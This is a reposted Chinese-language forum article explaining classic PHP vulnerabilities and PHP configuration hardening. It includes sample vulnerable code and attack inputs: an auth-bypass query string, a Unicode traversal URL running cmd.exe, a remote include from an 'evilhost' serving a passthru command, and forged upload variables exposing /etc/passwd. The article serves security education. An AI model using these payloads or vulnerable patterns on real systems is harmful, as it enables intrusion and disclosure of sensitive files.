發新話題
打印

[轉貼]PHP程式的常見漏洞攻擊分析

[轉貼]PHP程式的常見漏洞攻擊分析

http://www.26300.hk/tech/PHP/2388.htm

綜述:PHP程式也不是固若金湯,隨著PHP的廣泛運用,一些黑客們也在無時不想找PHP的麻煩,透過PHP程式漏洞進行攻擊就是其中一種。在節,我們將從全局變數,遠程文件,文件上載,庫文件,Session文件,數據類型和容易齣錯的函數這幾個方面分析了PHP的安全性。

  如何透過全局變數進行攻擊?

  PHP中的變數不需要事先聲明,它們會在第一次使用時自動創建,它們的類型根據上下文環境自動確定。從程式員的角度來看,這無疑是一種極其方便的處理方法。一旦一個變數被創建了,就可以在程式中的任何地方使用。這個特點導致的結果就是程式員很少初始化變數。

  很顯然,基於PHP的應用程式的主函數一般都是接受用戶的輸入(主要是表單變數,上載文件和Cookie等),然後對輸入數據進行處理,然後把結果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數據看作全局變數來處理的。

  例如:

  程式代碼

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>


  這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時,"test.php"會處理用戶的輸入,當 "test.php"運行時,"$hello"會包含用戶在文本框輸入的數據。從這裡我們應該看齣,攻擊者可以按照自己的意願創建任意的全局變數。如果攻 擊者不是透過表單輸入來調用"test.php",而是直接在瀏覽器地址欄輸入http://server/test.php?hello= hi&setup=no,那麼,不止是"$hello"被創建,"$setup"也被創建了。

  下面的用戶認證代碼暴露了PHP的全局變數所導致的安全問題:

  程式代碼

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

  上面的代碼首先檢查用戶的密碼是否為"hello",如果匹配的話,設置"$auth"為"1",即透過認證。之後如果"$suth"為"1"的話,就會顯示一些重要資訊。

  這段代碼假定"$auth"在沒有設置值的時候是空的,但是攻擊者可以創建任何全局變數並賦值,透過類似"http://server/test.php?auth=1"的方法,我們完全可以欺騙這段代碼,使它相信我們是已經認證過的。

  因此,為了提高PHP程式的安全性,我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話,這可是一項非常艱巨的任務。

  一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變數,這依賴於我們的提交方式(GET或POST)。當PHP配置為打開"track_vars"選項的話(這是缺省值),用戶提交的變數就可以在全局變數和上面提到的數組中獲得。

  但是值得說明的是,PHP有四個不同的數組變數用來處理用戶的輸入。 HTTP_GET_VARS數組用來處理GET方式提交的變數,HTTP_POST_VARS數組用於處理POST方式提交的變數; HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變數,而對於HTTP_POST_FILES數組(比較新的PHP才提供),則完 全是用戶用來提交變數的一種可選方式。用戶的一個請求可以很容易的把變數存在這四個數組中,因此一個安全的PHP程式應該檢查這四個數組。 如何透過遠程文件進行攻擊?

  PHP是一種具有豐富特性的語言,提供了大量的函數,使編程者很容易實現特定功能。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠程文件就佐證這個問題的一個很好例子:

  程式代碼

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>

  上面的腳本試圖打開文件"$filename",如果失敗就顯示錯誤資訊。很明顯,如果我們能夠指定"$ filename"的話,就能利用這個腳本瀏覽系統中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那就是它可以從任何其他WEB或FTP站點讀 取文件。實際上,PHP的大多數文件處理函數對遠程文件的處理是透明的。

  例如:

  如果指定"$filename"為 http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

  則上面的代碼實際上是利用主機target上的unicode漏洞,執行了dir命令。這使得支持遠程文件的 include(),require(),include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包 含指定文件的內容,並且把它們按照PHP代碼解釋,主要是用在庫文件上。

  例如:

  程式代碼

<?php
include($libdir . "/languages.php");
?>

  上例中"$libdir"一般是一個在執行代碼前已經設置好的路徑,如果攻擊者能夠使得"$libdir"沒有 被設置的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們隻能在他們指定的路徑中訪問文件languages.php(perl中的 "Poisonnull byte"攻擊對PHP沒有作用)。但是由於有了對遠程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個文件 languages.php,包含如下內容:

  程式代碼

<?php
passthru("/bin/ls /etc");
?>

  然後把"$libdir"設置為"http://<evilhost>/",這樣我們就可以在目標主機上執行上面的攻擊代碼,"/etc"目錄的內容將作為結果返回到客戶的瀏覽器中。

  需要注意的是,攻擊代碼是不會在自身所在的伺服器(也就是evilhost)上執行執行自身PHP程式的,否則,攻擊代碼會攻擊自身所在的伺服器,而不是在目標伺服器執行。


如何透過文件上載進行攻擊?

  PHP自動支持基於RFC 1867的文件上載,我們看下面的例子:

  程式代碼

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

  上面的代碼讓用戶從本地機器選擇一個文件,當點擊提交後,文件就會 被上載到伺服器。這顯然是很有用的功能,但是PHP的響應方式將使這項功能變得不安全。當PHP第一次接到這種請求,甚至在它開始解析被調用的PHP代碼 之前,它會先接受遠程用戶的文件,檢查文件的長度是否超過"$MAX_FILE_SIZE variable"定義的值,如果透過這些測試的話,文件就會被存在本地的一個臨時目錄中。

  因此,攻擊者可以發送任意文件給運行PHP的主機,在PHP程式還沒有決定是否接受文件上載時,文件已經被存在伺服器上了。

  讓我們考慮一下處理文件上載的PHP程式,正如我們上面說的,文件 被接收並且是存在伺服器上(位置是在配置文件中指定的,一般是/tmp),擴展名一般是隨機的,類似"phpxXuoXG"的形式。PHP程式需要上載文 件的資訊以便處理它,這可以透過兩種方式,一種方式是在PHP3中已經使用的,另一種是在我們對以前的方法提齣安全公告後引入的。

  大多數PHP程式還是使用老的方式來處理上載文件。PHP設置了四個全局變數來描述上載文件,比如說上面的例子:

  程式代碼

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

  然後,PHP程式開始處理根據"$hello"指定的文件。問題在於"$hello"不一定是一個PHP設置的變數,任何遠程用戶都可以指定它。如果我們使用下面的方式:

http://vulnhost/vuln.php?hello=/ ... e=10240&hello_type=
text/plain&hello_name=hello.txt

  就導致了下面的PHP全局變數(當然POST方式也可以(甚至是Cookie)):

  程式代碼

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

  上面的表單數據正好滿足了PHP程式所期望的變數,但是這時PHP程式不再處理本應在上載者本機上的上載文件,而是處理伺服器上"/etc/passwd"(通常會導致內容暴露)文件。這種攻擊可以用於暴露任何敏感文件的內容。

  新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數來解決這個問題,例如有一個函數用來判斷某個文件是不是實際上載的文件。但是實際上肯定有很多PHP程式仍然使用舊的方法,所以也很容易受到這種攻擊。

  作為文件上載的攻擊方法的一個變種,我們看一下下面的一段代碼:

  程式代碼

<?php
if (file_exists($theme)) // Checks the file exists on the local system (noremote files)
include("$theme");
?>

  如果攻擊者可以控制"$theme"的話,很顯然它可以利用"$ theme"來讀取遠程系統上的任何文件。攻擊者的最終目標是在遠程伺服器上執行任意指令,但是他無法使用遠程文件,因此,他必須得在遠程伺服器上創建一 個PHP文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個忙,如果攻擊者先在本地機器上創建一個包含PHP代碼的文件,然後創建一個包含名為 "theme"的文件域的表單,最後用這個表單透過文件上載把創建的包含PHP代碼的文件提交給上面的代碼,PHP就會把攻擊者提交的文件保存起來,並把 "$theme"的值設置為攻擊者提交的文件,這樣file_exists()函數會檢查透過,攻擊者的代碼也將執行。

  獲得執行任意指令的能力之後,攻擊者顯然想提升許可權或者是擴大戰 果,而這又需要一些伺服器上沒有的工具集,而文件上載又一次幫了攻擊者的忙。攻擊者可以使用文件上載功能上載工具,把她們存在伺服器上,然後利用他們執行 指令的能力,使用chmod()改變文件的許可權,然後執行。 例如:攻擊者可以繞過防火牆或IDS上載一個本地root攻擊程式,然後執行,這樣就獲得了root許可權。

  如何透過庫文件進行攻擊?

  正如我們前面討論的那樣,include()和require()主要是為了支持代碼庫,因為我們一般是把一些經常使用的函數放到一個獨立的文件中,這個獨立的文件就是代碼庫,當需要使用其中的函數時,我們隻要把這個代碼庫包含到當前的文件中就可以了。

  最初,人們開發和發佈PHP程式的時候,為了區別代碼庫和主程式代 碼,一般是為代碼庫文件設置一個".inc"的擴展名,但是他們很快發現這是一個錯誤,因為這樣的文件無法被PHP解釋器正確解析為PHP代碼。如果我們 直接請求伺服器上的這種文件時,我們就會得到該文件的源代碼,這是因為當把PHP作為Apache的模組使用時,PHP解釋器是根據文件的擴展名來決定是 否解析為PHP代碼的。擴展名是站點管理員指定的,一般是".php", ".php3"和".php4"。如果重要的配置數據被包含在沒有合適的擴展名的PHP文件中,那麼遠程攻擊者很容易得到這些資訊。

  最簡單的解決方法就是:給每個文件都指定一個PHP文件的擴展名,這樣可以很好的防止洩露源代碼的問題,但是又產生了新的問題,透過請求這個文件,攻擊者可能使本該在上下文環境中運行的代碼獨立運行,這可能導致前面討論的全部攻擊。

  下面是一個很明顯的例子:

  In main.php:

  程式代碼

<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>

  In libdir/loadlanguage.php:

<?php
...

include("$langDir/$userLang");
?>


  當"libdir/loadlanguage.php"被 "main.php"調用時是相當安全的,但是因為"libdir/loadlanguage"具有".php"的擴展名,因此遠程攻擊者可以直接請求這 個文件,並且可以任意指定"$langDir"和"$userLang"的值。

  如何透過Session文件進行攻擊?

  PHP 4或更新的版本提供了對sessions的支持,它的主要作用是在PHP程式中保存頁與頁之間的狀態資訊。例如,當一個用戶登陸進入網站,他登陸了的這個 事實以及誰登陸進入這個網站的相關資訊都將被保存在session中,當他在網站中到處瀏覽時,所有的PHP代碼都可以獲得這些狀態資訊。

  事實上,當一個session啟動時(實際上是在配置文件中設置為 在第一次請求時自動啟動),就會生成一個隨機的"session id",如果遠程瀏覽器總是在發送請求時提交這個"session id"的話,session就會一直保持。這透過Cookie很容易實現,也可以透過在每頁提交一個表單變數(包含"session id")來實現。PHP程式可以用session註冊一個特殊的變數,它的值會在每個PHP腳本結束後存在session文件中,也會在每個PHP腳本開 始前載入到變數中。下面是一個簡單的例子:

  程式代碼

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>

  新版本的PHP都會自動把"$session_auth"的值設置為"shaun",如果它們被修改的話,以後的腳本都會自動接受修改後的值,這對無狀態的Web來說的確是種很不錯的工具,但是我們也應該小心。

  一個很明顯的問題就是確保變數的確來自session,例如,給定上面的代碼,如果後續的腳本是下面這樣的話:

<?php
if (!empty($session_auth))
// Grant access to site here
?>

  上面的代碼假定如果"$session_auth"被賦值的話,就 是從session,而不是從用戶輸入來賦值的,如果攻擊者透過表單輸入來賦值的話,他就可以獲得對站點的訪問權。注意攻擊者必須在session註冊該 變數之前使用這種攻擊方法,一旦變數被放進了session,就會覆蓋任何表單輸入。

  Session數據一般是保存在文件中(位置是可配置的,一般是 "/tmp"),文件名一般是類似"sess_<session id>"的形式,這個文件包含變數名稱,變數類型,變數值和一些其他的數據。在多主機系統中,因為文件是以運行Web伺服器的用戶身份(一般是 nobody)保存的,因此惡意的站點擁有者就可以透過創建一個session文件來獲得對其他站點的訪問,甚至可以檢查session文件中的敏感資 訊。

  Session機制也為攻擊者把自己的輸入保存在遠程系統的文件中 提供了另一個方便。對於上面的例子來說,攻擊者需要在遠程系統放置一個包含PHP代碼的文件,如果不能利用文件上載做到的話,他通常會利用session 為一個變數按照自己的意願賦一個值,然後猜測session文件的位置,而他知道文件名是"php<session id>",所以隻需猜測目錄,而目錄一般就是"/tmp"。

  另外,攻擊者可以任意指定"session id"(例如"hello"),然後用這個"session id"創建一個session文件(例如"/tmp/sess_hello"),但是"session id"隻能是字母和數位組合。


PHP具有比較鬆散的數據類型,變數的類型依賴於它們所處的上下文環 境。例如:"$hello"開始是字符串變數,值為"",但是在求值時,就變成了整形變數"0",這有時可能會導致一些意想不到的結果。如果"$ hello"的值為"000"還是為"0"是不同的,empty()返回的結果也不會為真。

  PHP中的數組是關聯數組,也就是說,數組的索引是字符串型的。這意味著"$hello["000"]"和"$hello[0]"也是不同的。

  開發程式的時候應該仔細地考慮上面的問題,例如,我們不應該在一個地方測試某個變數是否為"0",而在另外的地方使用empty()來驗證。

  如何透過容易齣錯的函數進行攻擊?下面是一份比較詳細的容易齣錯的函數列表:

  <PHP代碼執行>

require():讀取指定文件的內容並且作為PHP代碼解釋
include():同上
eval():把給定的字符串作為PHP代碼執行
preg_replace():當與"/e"開關一起使用時,替換字符串將被解釋為PHP代碼

  <命令執行>
exec():執行指定的命令,返回執行結果的最後一行
passthru():執行指定命令,返回所有結果到客戶瀏覽器
``:執行指定命令,返回所有結果到一個數組
system():同passthru(),但是不處理二進位數據
popen():執行指定的命令,把輸入或輸齣連接到PHP文件描述符

  <文件洩露>

fopen():打開文件,並對應一個PHP文件描述符
readfile():讀取文件的內容,然後輸齣到客戶瀏覽器
file():把整個文件內容讀到一個數組中

  如何增強PHP的安全性?

  我們在上面介紹的所有攻擊對於缺省安裝的PHP4都可以很好的實現,但是PHP的配置非常靈活,透過配置一些PHP選項,我們完全可能抵抗其中的一些攻擊。下面我們按照實現的難度對一些配置進行了分類:

  *低難度
  **中低難度
  ***中高難度
  ****高難度

  如果你使用了PHP提供的所有選項的話,那麼你的PHP將是很安全的,即使是第三方的代碼也是如此,因為其中很多功能已經不能使用。

  **** 設置"register_globals"為"off"

  這個選項會禁止PHP為用戶輸入創建全局變數,也就是說,如果用戶 提交表單變數"hello",PHP不會創建"$ hello",而隻會創建"HTTP_GET/POST_VARS['hello']"。這是PHP中一個極其重要的選項,關閉這個選項,會給編程帶來很 大的不便。

  *** 設置"safe_mode"為"on"

  打開這個選項,會增加如下限制:

  1. 限制哪個命令可以被執行
  2. 限制哪個函數可以被使用
  3. 基於腳本所有權和目標文件所有權的文件訪問限制
  4. 禁止文件上載功能

  這對於ISP來說是一個"偉大"的選項,同時它也能極大地改進PHP的安全性。

  ** 設置"open_basedir"

  這個選項可以禁止指定目錄之外的文件操作,有效地消除了本地文件或者是遠程文件被include()的攻擊,但是仍需要注意文件上載和session文件的攻擊。

  ** 設置"display_errors"為"off",設置"log_errors"為"on"

  這個選項禁止把錯誤資訊顯示在網頁中,而是記錄到日誌文件中,這可以有效的抵制攻擊者對目標腳本中函數的探測。

  * 設置"allow_url_fopen"為"off"

  這個選項可以禁止遠程文件功能。


TOP

發新話題